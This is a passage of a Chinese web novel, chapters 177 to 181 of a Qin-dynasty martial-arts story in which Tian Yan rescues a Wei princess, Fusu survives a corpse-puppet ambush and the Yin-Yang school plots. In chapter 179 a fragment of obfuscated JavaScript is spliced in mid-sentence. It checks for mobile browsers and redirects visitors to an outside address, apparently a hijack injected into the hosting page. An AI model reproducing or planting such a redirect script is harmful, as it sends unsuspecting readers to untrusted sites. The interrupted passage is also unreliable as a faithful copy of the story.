……
烈山堂后院的古槐树下。
一名满身尘土的农家弟子静静等候,手中攥着一封染血的竹简。
“大小姐,梅三娘传信回来了。”
田言疾步上前接过竹简,封泥上清晰刻着魏武卒的军徽印记。
她展开一看,寥寥几行,却全是急报!
田言紫瞳骤缩,惊鲵剑在鞘中发出低沉的嗡鸣声。
就在这时。
赢子夜的声音从身后传来,带着几分玩味:“田姑娘看起来心神不宁?”
田言猛地转身,发现那位年轻公子不知何时已立在三步之外,玄色衣袍上的金线在夕阳下如同流动的熔岩。
她单膝跪地时,竹片割破了掌心:
“公子,梅三娘在奉命寻找魏武卒旧部时,遇到以前军内常用的求救信号……”
“特地传信回来,向公子求借力量襄助!”
“只要…三十人足矣!”
赢子夜没有立刻回答。
他拿出一枚青铜虎符在指尖把玩,瞳孔静静盯着田言流血的手。
“三十人?”
他轻笑,
“够给罗网的**塞牙缝么?”
槐树突然无风自动,落叶在两人之间盘旋。
“属下愿立军令状!”
她额头抵地,“若救不回人,提头来见!”
赢子夜突然将虎符抛向半空。
符身在夕阳中解体,化作三十枚青铜小令洒落在地:“暗河‘血鸦卫’借你三个时辰。”
他转身时衣袂扫过田言发梢。
“记住,我要看到活的。”
田言浑身一僵!
三十道黑影无声落下,每人脸上都戴着刻有鸦羽纹的铁面具。
为首之人弯腰拾令时,面具下传来沙哑的声音:
“惊鲵小姐,血鸦…愿听您吩咐。”
赢子夜的笑声从远处飘来,惊起满树昏鸦。
第178章 大秦欠百越的血债…该还了!!!
两日后。
密林深处。
血腥气混着腐叶的味道令人作呕。
田言脚尖轻点树梢,紫衣在月光下如鬼魅飘忽。
她突然抬手,惊鲵剑精准挑开一片枯叶。
叶下赫然是用血画的箭头,指向西北方。
“三娘还活着。”
她声音发紧。
“血未凝,不超过半个时辰。”
身后三十名血鸦卫如雕塑般静立,铁面具下的呼吸声微不可闻。
突然,最左侧的卫士面具“咔”地裂开一道缝,他闷哼着跪倒。
眉心插着半片枯叶,叶缘泛着幽蓝!
“危险!”
田言惊鲵剑横挡,三枚透骨钉被剑气震飞,钉入树干时腐蚀出缕缕青烟!!
玄铁面具从阴影中浮现,掩日的剑鞘拖过地面,所过之处草木枯萎!
“惊鲵,你越界了。”
不远处,一名血鸦卫沉声质问:“掩日,难道你真要背叛大秦?!”
掩日嗤笑,声音如同生锈的齿轮摩擦:“魏国余孽,是陛下亲定的猎物!”
“谁阻我,谁才是叛国!”
西北方突然传来金铁交鸣之声。
田言紫瞳骤缩,那是魏武卒铁血战阵特有的碰撞频率!
她剑尖轻颤,七道剑气如莲花绽放,却见掩日只是抬了抬手指,剑气竟在半空凝结!!
“你忘了?”
掩日剑未出鞘,血气已让最近的三个血鸦卫睫毛结霜。
“你踏入罗网之时,本座已是天字号**!”
树丛炸裂,梅三娘浑身是血地冲出,金钟罩气劲已支离破碎!!
她身后跟着五名魏武卒旧部,中间护着个紫衫少女。
魏芊芊腰间的玉佩正在渗血,将脚下泥土染成诡异的金色。
“少主!”
梅三娘嘶吼。
“这混蛋杀了咱们不少人!”
话音刚落,只见掩日的剑锋忽然微微上扬,猩红光芒自剑尖迸射,晃得田言与梅三娘眼前一白。
林中鸟雀惊飞,月光仿佛被吞噬,四周陷入无边的暗幕!
那是掩日的“掩取蔽日”!
以剑意遮天,让整片密林如同坠入日食之夜!!
寒意与压迫感一同袭来,耳边只剩呼吸与心跳的回响。
黑暗中,掩日的声音似乎来自四面八方。
“阴盛阳灭——昼暗!”
下一瞬,他的身影从高空俯冲而下,带着如猎鹰般的致命轨迹,劈向尚未恢复视力的田言与魏芊芊。
剑势尚未落地,一缕紫黑色的烟雾悄然扩散,像无形的蛛网笼罩整个战场。
田言心中一惊!
这是罗网秘制的“千蛛噬梦”!
幻境悄然生成,魏芊芊似乎被数名罗网**擒住,鲜血顺着裙摆滴落!
梅三娘怒吼着冲上去,却在挥刀之际发现那几人竟是自己昔日的同袍。
她心神一震,刀势顿滞,背脊被寒光掠过。
田言咬破舌尖,以剧痛逼退幻象,惊鲵剑划出紫光,逼退掩日的剑锋!
但黑暗中,掩日的身影再次消失!
唯有森冷的剑意在她周围盘旋!
一缕寒气贴着她颈侧滑过,带走几缕发丝。
“在黑夜里。”
掩日低语,声音近在耳边,“你们都是猎物。”
就在这一刻,林间骤然响起奇特的箭啸,如凤鸣九霄!
七道金光划破暗幕,瞬间驱散了幻境与黑夜,呈北斗之形呼啸而来!
金光所至,冰霜寸裂,虚影尽散!
连“阴盛阳灭??昼暗”的日食幻象都被生生撕碎!!!
钟离昧,已至!
他肩上的陨星弓通体漆黑,弓身锁链犹在滴血,杀气铺天盖地,仿佛整片山林都被笼入弓影之下!
弓弦轻震,一箭贯空!
掩日疾退半丈仍被劲风切裂肩甲!!
“这是什么弓?”
掩日眼底第一次浮现凝重。
钟离昧不答,连发三箭!
金光、震波、烈焰,箭箭不同,皆蕴杀机!!!
掩日挥剑格挡,剑锋与箭光连连撞击,火花、冰屑、血雾交织一片!
短短十招,掩日手腕已被震得发麻,臂骨隐隐生疼。
陨星弓每一箭都带着摧山裂石之势,容不得半分迟疑!!
他心知再战下去,自己要么折在这里,要么被逼到无法脱身。
烟雾翻卷,掩日剑势一收,身影疾退,如鬼魅般消散在林间黑影中。
田言却在这时听到了掩日最后的传音。
“惊鲵,你以为六公子真在乎魏国血脉?”
“他不过是…”
话未说完,钟离昧又是一箭射来,将残留的烟雾都射散!!!
梅三娘拄着断刀踉跄走来,金钟罩气劲已所剩无几。
“公主的脉搏越来越弱…”
田言低头查看,发现魏芊芊腰间的玉佩正在融化,金液渗入她腹部的伤口。
更诡异的是,那些金液流动的轨迹,宛如一副
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星图!
“速回烈山堂。”
钟离昧收起长弓,从怀中取出赢子夜亲赐的玉瓶。
“公子早有预料,给公主准备了药。”
瓶塞开启的瞬间,一缕金光直冲云霄。
远处正在撤离的掩日突然驻足,玄铁面具转向光柱方向。
“果然…是赢子夜的手笔……”
他的低语被夜风吹散。
……
南疆。
潮湿的洞穴中。
火把将天泽的影子扭曲成巨**形状。
他指尖的竹简正在被蛇形锁链绞碎,木屑簌簌落进脚边的毒潭。
“呵…”
天泽突然低笑,锁链上的鳞片全部竖起。
“大秦的公子,竟比我们百越人更懂什么叫手足相残。”
百毒王佝偻着背,手中骷髅碗里的毒液泛起涟漪。
“主上,胡亥此信怕是陷阱,那小子连亲哥都敢杀,何况…”
“正合我意。”
天泽锁链猛地刺入岩壁,六条毒蛇从裂缝中游出,争相吞噬掉落的竹简残片。
“传令蛇灵部,准备三百张‘人皮蛊’。”
驱尸魔的招魂铃无风自动。
“主上要伪装成秦军?”
“不。”
天泽眼中幽光大盛。
“是要让秦人…变成我们。”
毒潭突然沸腾!
天泽眼中杀意暴涨,六条锁链如巨**昂首。
“三日后未时,灵渠古道,取扶苏人头!!!”
驱尸魔闻言,骨杖重重顿地:“主上,这分明是要我们当刀使!”
“当刀?”
天泽的锁链卷起火把,火焰瞬间变成幽绿色。
“本君要让他们知道…”
火光照亮他脸上狰狞的蛇鳞纹。
“什么叫引火烧身!”
他忽然割破手掌,血滴入毒潭。
潭底沉睡的无数尸蛊顿时苏醒,水面浮现出完整的南疆地形图。
“百毒王,去准备‘万蛇朝宗’大阵。”
天泽的血液在地图上画出三条路线:“驱尸魔唤醒所有战死的秦军尸骸,我要给长公子准备一份…厚礼!!!”
洞外雷声轰鸣,一道闪电劈中山巅的枯树。
借着刹那光亮,可见山谷中密密麻麻站满了身披秦甲的“士兵”。
他们安静得诡异,因为每具铠甲下……
都是被炼化的尸傀!!!
他望向北方,蛇瞳中映出滔**火:“大秦欠百越的血债…该还了。”
第179章 恨该恨的人,活自己的命!!!
烈山堂偏殿,药香与血腥气交织。
钟离昧单膝跪地,肩甲上的冰霜还未化尽,“公子,那魏国女子安置在西厢房,梅三娘守着。”
赢子夜指尖轻叩案几,目光扫过钟离昧染血的箭囊,“伤了几人?”
“血鸦卫折了十二个。”
钟离昧喉结滚动,“掩日比预想的要果断许多..”
少司命突然转身,紫纱拂过药柜,三株灵芝无声化为粉末。
她指尖凝出青翠光点,就要往西厢房去。
“且慢。”
赢子夜袖中飞出一根金线,缠住她手腕,“夫人这是要去救仇敌?”
少司命紫眸微冷,金线瞬间被叶片绞碎,“她若**,今日血战为何?”
窗外传来瓷器碎裂声,接着是梅三娘的怒骂!
赢子夜轻笑,“听听,魏武卒的嗓门还挺大。”
他忽然按住少司命的手,“你可知信陵君当年**的?”
钟离昧的箭囊突然发出嗡鸣。
田言捧着染血的绷带进来,闻言指尖一颤。
“罗网下的手。”
少司命淡淡道。
“是,也不是。”
赢子夜拾起一片碎瓷,锋利的边缘映出他幽深的瞳孔,“真正逼死信陵君的,是魏安釐王的那句‘君功高震主’。”
西厢房突然传来魏芊芊的尖叫,“滚开!秦狗的药也配…咳咳…”
赢子夜嘴角微扬,“听见了?这才是魏国贵女的本心。”
他按住要起身的田言,“惊鲵大人何必着急?”
少司命袖中叶片突然全部枯萎,“你要看她死?”
“我要看她挣扎。”
赢子夜推开窗,月光洒在他棱角分明的侧脸上,“就像当年信陵君在酒宴上,明知是毒酒还要饮尽时的眼神。”
梅三娘的哭嚎声突然传来,“公主!撑住啊!”
接着是身体倒地的闷响。
赢子夜黑瞳微闪,终于起身,“现在,可以去了。”
他指尖弹出一枚玉丸,被少司命凌空接住,“记住,只救命,不疗伤。”
田言死死攥着惊鲵剑,直到赢子夜的身影消失在长廊尽头,才发觉掌心已被剑纹烙出血痕。
……
半个时辰后。
西厢房内,药炉翻倒,炭火在地砖上烧出焦黑的痕迹。
魏芊芊倚在床柱边,苍白的脸上满是戒备,手中紧握着一片碎瓷抵在自己颈间。
“公主!”
梅三娘跪在地上,额头磕得青紫,“您先把瓷片放下…”
“闭嘴!”
魏芊芊的手在颤抖,瓷片已经划出一道血痕,“你们这些叛徒,也配叫我公主?”
田言站在门边,惊鲵剑斜指地面。
月光透过窗棂,在她脸上投下斑驳的阴影,“魏姑娘,你伤口的毒刚清,不宜动怒。”
“少假惺惺!”
魏芊芊猛地咳嗽起来,嘴角溢出血丝,“你们把我带到秦狗的地盘,不就是想拿我邀功吗?”
梅三娘突然扯开衣襟,露出胸膛上狰狞的魏王室烙印,“公主您看!末将乃是魏武卒麾下第三营百夫长!”
“当年大梁城破,末将也在场…”
“那又如何?”
魏芊芊的瓷片又深入半分,鲜血顺着锁骨流下,“现在不还是做了秦人的走狗!”
田言突然上前两步,惊鲵剑锵地出鞘半寸。
梅三娘惊呼着要阻拦,却见田言只是用剑尖挑开了自己的衣领。
锁骨下方,一个蜘蛛纹身正在渗血!!
“罗网?!”
魏芊芊瞳孔骤缩,“你是秦廷的…”
“曾经是。”
田言的声音平静得可怕,“就像你曾经是魏国公主。”
房间里突然安静。
炭火噼啪炸开一颗火星,映得魏芊芊眼中泪光闪烁。
她咬着嘴唇,瓷片终于稍稍离开脖颈,“…为什么?”
“魏国亡了。”
田言收起剑,转身望向窗外,“十多年前就亡了。”
“但恨还在!”
魏芊芊猛地将瓷片掷向田言,被梅三娘一把拦住,“我父亲、我祖父…信陵君一脉的血仇…”
田言突然转身,紫瞳中寒光乍现,“就凭我们这几个人?”
“你、我、梅三娘,再加上地底下那些白骨?”
“能撼动大秦的铁骑?”
魏芊芊踉跄着站起来,伤口崩裂染红了素衣,“即使粉身碎骨…”
“然后呢?”
田言一把扯开窗帘,指着远处灯火通明的大泽山,“看看那些人!他们当中有多少是当年的魏人?”
“现在他们关心的,是明日米价会不会涨,是孩子能不能进官学!”
梅三娘突然老泪纵横,“公主…当年的武卒,已不剩几人了…”
魏芊芊跌坐在床沿,胸前的玉佩滑落出来。
上面“无忌”二字已经模糊不清。
她颤抖着抚摸玉佩,突然抬头,“那你为何投靠秦人?就为了苟活?”
“我投靠的是赢子夜。”
田言从袖中取出一卷竹简,扔在床榻上,“自己看。”
竹简展开,是罗网密档。
上面详细记载着当年信陵君被逼的真相——
魏王猜忌只是表象,真正推动这一切的,是潜伏在魏国高层的罗网**!
“这是…”
“你父亲,我母亲,都是罗网的棋子。”
田言的声音终于出现一丝波动,“而现在,我要让下棋的人血债血偿。”
魏芊芊的手指死死掐进竹简,“可赢子夜也是秦…”
“但他不是罗网。”
田言突然单膝跪地,惊鲵剑横置于前,“魏姑娘,天下一统已成定局,我们能做的,就是让这场变革少流些血。”
窗外传来更夫的梆子声。
梅三娘默默取来铜镜,镜中映出魏芊芊憔悴的面容。
哪里还有半分当年大梁城里金枝玉叶的模样?!
“我…”
魏芊芊的眼泪终于落下,“我该恨谁…”
田言起身,将一瓶药放在桌上,“恨该恨的人,活自己的命。”
她转身走向门口,“之后,赢子夜要见你,在这之前…”
她顿了顿,没有回头,“想想你父亲临终时,最希望你成为什么样的人。”
房门轻轻关上。
梅三娘颤抖着给魏芊芊包扎伤口,却发现公主的手心里紧紧攥着那块玉佩,鲜血…顺着玉佩边缘滴落。
田言推开房门,夜风裹着庭院里的梧桐叶扑面而来。
她脚步猛地一顿。
赢子夜正负手立在廊下,月光将他的影子拉得很长,几乎要触到她的脚尖。
“公子…”
她下意识按住惊鲵剑柄,却见赢子夜身后还立着数道身影。
少司命的紫纱在风中轻扬,赵弋苍的铁面具泛着冷光,更远处还有几个暗河**模样的黑影。
“我会劝说她。”
田言喉头发紧,指甲不自觉地掐进掌心,“绝不会危害大秦。”
赢子夜指尖捻着一片梧桐叶,闻言轻轻颔首,“做的不错。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163930|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>叶片在他指间碎成细屑,“接下来,就无须你来了。”
这句话像一盆冰水浇下。
田言瞳孔微缩,却见赢子夜已转身离去,玄色衣袍扫过石阶上的落叶,发出沙沙声响。
少司命缓步上前,三片青叶无声地悬浮在田言面前,“东皇阁下会见她。”
“什么时候…”
田言声音发涩。
“现在。”
少司命紫眸如水,却让人看不出情绪。
赢子夜低声对着少司命说道:“夫人也请将楚南公的预言…原原本本的传讯给东皇阁下。”
远处传来车轮碾过青石的声响。
田言这才注意到,庭院角落里不知何时停了一辆青铜马车。
车帘上绣着星月图案,拉车的竟是两匹通体雪白的鹿。
赵弋苍突然开口,铁面具下的声音闷如雷鸣,“惊鲵大人,请回。”
田言的手在袖中颤抖,惊鲵剑上的魏字铭文硌得掌心生疼。
她最后看了眼西厢房的窗户——
那里映出魏芊芊模糊的身影,正被梅三娘扶着坐起。
“属下…告退。”
她低头行礼的瞬间,一片梧桐叶飘落在肩头。
赢子夜的声音随风飘来,“田姑娘,记住你今日说过的话。”
当田言再抬头时,庭院已空无一人!
只有那辆青铜马车正缓缓驶出大门,车辙在青石板上留下两道泛着荧光的痕迹。
墙角阴影处,一只红眼乌鸦突然振翅飞起,爪子上缠着的蛛丝在月光下一闪而逝!
……
灵渠古道,暮色渐沉。
押送粮草的秦军队伍正沿着狭窄的山道缓缓前行,车轮碾过石板发出的吱呀声在山谷间回荡。
领队的校尉擦了擦额头的汗水,突然抬手示意队伍停下。
“不对劲…”
他皱眉望向两侧山崖,“鸟叫声没了。”
话音刚落,山道拐角处踉跄着走出几个身影。
那是本该在前方探路的斥候。
此刻他们铠甲歪斜,走路的姿势怪异得如同提线木偶。
“老赵?”
校尉策马上前,突然瞳孔骤缩!!
斥候的脖颈以不正常的角度歪斜着,嘴角渗出黑血,而他们的眼睛…
竟然泛着诡异的绿光!
“敌袭!列阵!”
校尉的吼声未落,山崖上突然滚落无数碎石。
数十名“秦军”从岩缝中爬出,他们有的胸口插着断箭,有的半边脸已经腐烂,却都挥舞着兵器扑来!
“是尸傀!”
副将一刀劈开扑来的活尸,黑血溅在粮车上滋滋作响,“保护粮车!”
箭雨从山顶倾泻而下,但中箭的活尸只是晃了晃,又继续前进。
一个断了腿的尸傀竟爬上车辕,一口咬住驭手的小腿。
惨叫声中,那驭手的皮肤迅速变黑,眼白也开始泛绿…
“**!必须**!!”
校尉挥剑斩下尸傀头颅,却见脖颈断口处爬出密密麻麻的红色线虫,“妈的!是血线蛊!”
粮队瞬间大乱。
受惊的马匹拖着燃烧的粮车冲进山涧,活尸趁机扑入阵中。
校尉带着亲卫死守最后三辆粮车,看着朝夕相处的弟兄们一个个变成行尸走肉,虎目通红。
“点火!宁可烧了也不能给他们!”
他的声音戛然而止。
一支淬毒的**箭穿透咽喉,箭尾系着的蛛网状丝线正随风飘动!
不是罗网。
而是十八公子,胡亥的人!
第180章 伏杀大秦长公子扶苏!!!
三十里外,扶苏猛地勒住缰绳。
“停下!”
他抬手示意大军止步,耳廓微动,“你们听见了吗?”
蒙毅凝神细听。
穿过山谷的风声中,隐约夹杂着金铁交鸣和…某种不似人声的嚎叫。
“是粮道方向!”
蒙毅脸色骤变,“可那里应该有重兵把守啊……”
扶苏已经调转马头,“全军听令!轻装疾行!”
他素来温和的声音此刻凌厉如剑,“**手先行,重甲兵随后,医官队准备解**剂!”
当先头部队冲入峡谷时,眼前的场景让这些百战老兵都为之胆寒!
栈道上密密麻麻爬满了“秦军”,他们撕咬着同袍的尸体,黑血将山壁染得斑驳陆离。
仅存的十几个活人被困在燃烧的粮车旁。
而指挥他们的校尉…
正被三个穿着都尉铠甲的尸傀分食!!!
“放箭!”
扶苏一声令下,箭雨覆盖栈道。
但更可怕的事情发生了!
中箭的活尸不仅没倒下,伤口处反而钻出更多血线虫。
这些虫子在空中扭曲成诡异的形状,竟朝着秦军阵列飘来!
“火油弹!”
扶苏夺过亲卫的强弓,一箭射爆了最近的粮车。
**的气浪暂时阻住了虫群。
也照亮了山崖上一个模糊的身影。
那人戴着玄铁面具,正冷漠地俯瞰这场**。
蒙毅砍翻两个扑来的活尸,嘶声喊道,“殿下!必须立刻…”
“反击。”
扶苏突然平静下来的声音让周围将士一怔。
他摘下象征长公子身份的金冠,用染血的布条将长剑绑在手上!
“以伍为单位,火把为号!焚尽尸骸,一颗粮食都不准留给敌人!!!”
他剑锋所指之处,活尸潮水般涌来!
……
与此同时。
峡谷高处的岩石后,天泽的蛇形锁链无声游动。
他眯眼看着下方陷入混战的秦军,嘴角扯出狞笑,“鱼儿上钩了。”
百毒王匍匐在毒草丛中,枯瘦的手指捻着一只血红色蜈蚣,“主上,那穿白袍的就是…”
“大秦长公子。”
天泽锁链突然绷直,“胡亥的人就在不远处,按计划行事。”
下方战场,扶苏的佩剑已砍出数道缺口。
他抹了把脸上的血污,突然按住身旁亲卫的肩膀,“东南角那队**手,是不是多出三个人?”
亲卫还未答话,蒙毅已经带人包抄过去。
那三个“士兵”见状突然暴起,袖中射出淬毒暗器!
正是乔装混入的**!
“保护殿下!”
混乱中,没人注意到一个佝偻身影正贴着岩壁蠕动。
百毒王口中含着避毒珠,所过之处秦军纷纷栽倒!
他浑浊的眼珠锁定扶苏后背,枯爪缓缓抬起……
“嗖!”
一支羽箭突然穿透百毒王的袖袍,将他钉在岩壁上!
一名弓手从后方奔出,手中弓弦还在震颤!
“殿下小心毒瘴!”
几乎同时,另一侧的岩缝里窜出五道黑影!!!
他们刀锋直指扶苏。
寒芒在血雾中拉出凌厉的弧线。
就在那一瞬,人群中猛地爆发出数道黑影——
暗河**!
双方在尸骸堆中狠狠撞到一起,刀剑交击的火花映亮了死寂的山谷。
一名暗河**反手挑飞来刀,却被另一名刺客从背后扑倒!
二人滚进一堆断骨之中,血肉与枯骨一齐迸散!!
另一边,一名刺客的**擦着扶苏肩头掠过,却被长剑截住,劲力震得他半步**,脚下踏碎了两具腐尸的肋骨。
短短几息!
尸骸堆被踏得四分五裂。
刀锋、臂膀、破碎的甲片混着雨水与血水飞溅,甚至溅到扶苏的衣襟上。
一名暗河**喉间被划开。
倒地的同时反手将腰间的**送进敌人小腿。
刺客闷哼一声,却不退反进,手中弯刀险些破开暗河**的护腕!!
鲜血沿着石缝蜿蜒而下,混战在逼仄的岩谷间不断推移!
脚步踩过尸体发出黏腻的声响,刀影与惨叫交织成一片,谁也顾不上刺杀目标了。
百毒王见状,知道机不可失,强硬的挣脱黑箭。
正要再动,峡谷上方…顿时传来一阵清越的鸟鸣声!!!
白凤的羽毛如雪片飘落!
卫庄的声音从四面八方传来!
“天泽,你越界了。”
远处,天泽瞳孔骤缩,锁链猛地卷住百毒王后撤。
“逆流沙?!”
赤练的蛇群从岩顶倾泻而下,瞬间冲散了战场。
借着这阵混乱,扶苏果断下令。
“全军向水源撤退!蒙毅带队断后!”
一些士兵还想追击,却被暗河的人拦住,“不必追了,保长公子周全即可。”
远处山巅,胡亥派来的死士首领不甘地捏碎传讯烟花。
玄铁面具下那双眼中,映出扶苏浴血的身影。
“仁者…亦能持剑么…”
峡谷重归寂静,只剩燃烧的粮车噼啪作响。
一滴毒液从岩壁滴落,在扶苏的战靴上腐蚀出细小的孔洞。
那是百毒王留下的,最后的杀机。
……
潮湿的洞穴中。
火把将天泽的影子投在岩壁上,扭曲如一条蓄势待发的毒蛇。
“主上,就这么算了?”
百毒王撕开染毒的袖袍,枯瘦的手臂上箭伤泛着黑血,“老奴的毒还没…”
天泽突然抬手,锁链如活物般缠住百毒王的脖颈,“废物。”
他声音轻柔,却让洞内温度骤降,“谁让你磨磨蹭蹭的?!”
驱尸魔的骨杖轻轻点地,“主上息怒,百毒王也是想更稳妥一些!”
“闭嘴。”
天泽的锁链松开,转而刺入岩壁,“若想要火雨玛瑙,咱们就得用嬴政儿子的命来换!”
石壁缝隙中传出小蛇痛苦的嘶鸣,“传令蛇灵部,启动‘万蛛巢’计划。”
百毒王捂着脖子咳嗽,闻言猛地抬头,“主上要动用那些暗桩?可他们在楚国旧地潜伏多年…”
“正是时候。”
天泽从怀中取出一枚鳞片,上面刻着古老的百越文字,“让巫医们在郢都水源下蛊,三日之内,我要看到瘟疫蔓延的野火。”
驱尸魔的招魂铃无风自动,“可会伤及我们的族人…”
“成大事者,不拘小节。”
天泽的
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蛇瞳在火光中收缩成线,“当年秦军屠我百越十万勇士时,可曾分过老幼?”
洞外突然雷声大作!
一道闪电照亮了角落里蜷缩的身影——
那是个被锁链缠住的秦军俘虏,被抓来在其身上种蛊。
此刻,他正惊恐地看着天泽锁链上浮现的血色符文。
“至于逆流沙…”
天泽突然捏碎鳞片,粉末洒在俘虏头顶,“卫庄既然敢插手,那就让他尝尝,我百越勇士的厉害!”
俘虏突然剧烈抽搐,皮肤下鼓起游走的肿块。
当他的惨叫达到顶峰时,整个人爆裂开来,化作数百条红纹小蛇四散游走!
百毒王贪婪地抓过几条塞入口中咀嚼。
“主上高明!这般毒人散入楚地,任他们有三头六臂…”
“还不够。”
天泽甩了甩锁链上的血渍,“派人去中原各处散布谣言,就说火雨山庄的遗孤带着秘宝投靠了农家。”
驱尸魔眼中幽光闪烁,“主上这是要…”
“声东击西。”
天泽的锁链突然刺入地面,从土中卷出个青铜匣子,“把水搅得更浑些,说不定,咱们不用依靠那胡亥……”
匣中躺着一块残缺的赤红玛瑙,内部似有火焰流动。
天泽用锁链轻轻摩挲玛瑙表面。
洞内顿时响起无数冤魂的呜咽!
“去吧。”
他将玛瑙抛给驱尸魔,“让那些藏在阴影里的蜘蛛们,都动起来。”
……
烈山堂内,赢子夜指尖的传讯符燃尽最后一缕青烟。
灰烬在案几上勾勒出南疆地形图,其中灵渠古道的位置赫然标着个血色的“断”字。
“有意思。”
他轻叩桌面,惊起梁上一只夜枭,“粮道走的是朝廷新辟的密道,很多军中将领都未必知晓全貌。”
少司命无声地递上酒盏,赢子夜却将热酒倾倒在灰烬上。
“而且…”
他指尖轻点:“罗网的蜘蛛可不会用楚地‘回风柳’的身法。”
赵弋苍的铁面具泛着冷光:“主上明鉴,末将刚收到暗河密报,袭击者中有三人使的是邯郸剑派的路数。”
“邯郸?”
田言正捧着竹简进来,闻言指尖微颤,“那不是…”
赢子夜突然抬眸,黑瞳锁住她瞬息的神色变化:“田姑娘似乎知道什么?”
惊鲵剑鞘上的魏字铭文渗出细密血珠。
田言低头掩饰眼中波澜:“属下只是想起,邯郸剑派早在十年前就被王翦将军…”
“灭门?”
赢子夜轻笑,袖中滑出一枚青铜令牌。
“可这世上,最不缺的就是‘**复活’。”
他起身走向窗边,月光将他的影子拉得很长:“传令暗河两件事。”
玄色衣袖无风自动,“一查粮道泄密者,二探邯郸剑派余孽…目前在为谁效忠。”
庭院里突然刮起怪风,卷着片枯叶飘入窗棂。
赢子夜接住叶子,叶脉纹路模糊不清。
他眸色一深,叶子在掌心化为齑粉。
“对了。”
他转身时,衣摆上的金纹如活物游动,“派人去噬牙狱也查查,桑海城一战后,有部分凶犯未受控制,单独逃走后,被谁捡去了。”
第181章 必须给六公子一个交代!!!
蜃楼。
观星台上,青铜灯盏的火焰突然齐齐一暗。
东皇太一黑袍垂地,面具下的目光落在悬浮的传讯符上。
符箓燃烧时发出的不是火光,而是幽蓝色的星辉。
“大司命。”
阴影中,红裙女子缓步而出,指尖缠绕着猩红丝线:“属下在。”
“去接个人。”
东皇太一袖中飞出一缕星光,在空中勾勒出魏芊芊的轮廓,“这位‘贵客’,好生照料。”
大司命红唇微扬,丝线在腕间勒出血痕:“要活的?”
“半死不活最好。”
星魂不知何时已倚在廊柱旁,少年面容带着讥诮,“六公子最喜欢会喘气的玩具。”
东皇太一并未理会,转而指向南方:“星魂,你去趟楚地。”
一颗星辰从穹顶坠落,在他掌心化作血色**,“找到楚南公,取回他多嘴的舌头。”
星魂把玩着**,湛蓝的眼瞳泛起紫芒。
“要那个老不死的命?”
“不错。”
东皇太一的声音如冰泉击石。
“陛下当年留他性命,不是让他到处散布谶语的。”
月神从纱幕后现身,银纱遮眼却遮不住话中锋芒:“东皇大人,可楚南公毕竟知晓很多苍龙七宿之秘……”
“月神。”
东皇太一突然抬手,月神的面纱无风自动,“你越界了。”
殿内温度骤降,青铜灯盏接连爆裂!!
星魂幸灾乐祸地看着月神嘴角溢出一丝鲜血,却见东皇太一突然转向自己。
“记住,别让六公子的人插手,阴阳家独立解决!”
大司命指尖丝线突然绷断:“属下不明白,为何要对那赢子夜…”
“噤声!”
东皇太一袖袍翻卷,大司命顿时跪倒在地。
“阴阳家与公子合作,是天意,还要再提吗?!”
星魂轻笑着跃上窗棂:“放心,我会让那老东西死得痛快点。”
他指尖凝聚出幽蓝气刃,“比如…被自己的预言反噬?”
夜风卷入高台,吹散残留的星辉。
东皇太一负手望向咸阳方向,黑袍上的星图无声流转。
在所有人都看不见的阴影里,他面具下的嘴角微微扬起。
……
番禺城。
将军府内,烛火将扶苏清瘦的身影投在墙上。
他指尖轻点案几上的南疆地图,粮道被袭的位置已用朱砂画了个刺目的红圈。
“殿下,末将核对过了。”
蒙毅递上竹简,声音压得极低,“粮队出发前,只有三位都尉知晓完整路线。”
扶苏接过竹简,烛光映出他眼下疲惫的青影。
他忽然屈指轻弹酒盏,清脆的声响惊醒了打瞌睡的小校:“去请赵佗将军。”
待小校退下,扶苏突然用酒水在地图上画了条新线。
“蒙将军,你看漓江水路如何?”
“漓江?”
蒙毅虎目圆睁,“可那里暗礁遍布…”
“正因难行,才安全。”
扶苏蘸着酒水写下几个地名,“明日你亲自带人勘察,记住——”
他忽然抓住蒙毅手腕,“只说是演练水战。”
窗外传来三声鹧鸪叫。
扶苏不动声色地收起地图,转而展开份兵员名册。
赵佗进门的瞬间,他正高声训斥:“巡逻兵力增加三倍都办不到?本宫要你们何用!”
赵佗一惊,连忙抱拳行礼:“殿下息怒,实在是…”
“赵将军来得正好。”
扶苏疲惫地揉着眉心,“灵渠粮道暂时走不得了,本宫欲改走陆路。”
正要离开的蒙毅突然一顿,瞳孔微缩!
这分明是假消息!
“陆路?”
赵佗皱眉,“可雨季将至…”
“所以需要将军协助。”
扶苏推过一卷竹简,“请调三千**手,在沿途七处隘口设伏。”
他指尖在某处轻轻点了两下,正是漓江水道的入口。
待赵佗告退,蒙毅急道:“殿下怀疑赵将军?”
“不,是给他下面的人看。”
扶苏突然咳嗽起来,帕子上沾了丝血迹,“去准备两份密函,一份走黑冰台渠道,一份…”
他取出一枚青玉扳指交给蒙毅,“找儒家子弟送。”
二更时分,扶苏独自登上城楼。
夜风掀起他素白的衣袍,露出腰间暗藏的短剑。
他望着漓江方向忽明忽暗的渔火,突然开口:“既然来了,何不现身?”
阴影中走出个纤瘦佝偻的身影:“殿下好耳力。”
“是这枚‘清心玉’有所感应。”
扶苏解下腰间玉佩,上面浮现出细密的裂纹,“还得是六弟啊,他说什么了?”
公孙墨玄的双眼泛着冷光:“主上传话,把南疆的水源挨个查三遍。”
扶苏眸光一凛:“有人要**?”
“百毒王最擅长的,就是把解药变成毒引。”
公孙墨玄递过个瓷瓶,“每日取一滴入井,可验百毒。”
远处突然传来骚动!!
扶苏快步走到垛口边,只见军营西侧粮仓腾起火光。
他却不惊反笑:“果然来了。”
转头对公孙墨玄拱手道,“烦请六弟的人,不用保护我,暗中保护我们的医官营,那里更重要!”
话音刚落,一支鸣镝箭破空而来!
公孙墨玄凌空抓住箭
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矢,宽大袖袍飘荡间,取下了箭杆上缠着布条!
“是东门,水井有异。”
“开始了。”
扶苏深吸一口气,突然拔出佩剑敲响警钟,“传令!全军戒备!按第三预案行事!”
城下顿时脚步声如雷。
蒙毅带人冲向起火点,赵佗的**手封锁了各处要道。
扶苏摩挲着青玉扳指,望向咸阳方向。
他相信此刻,六弟他…定然也在下一盘更大的棋!!!
……
烈山堂内。
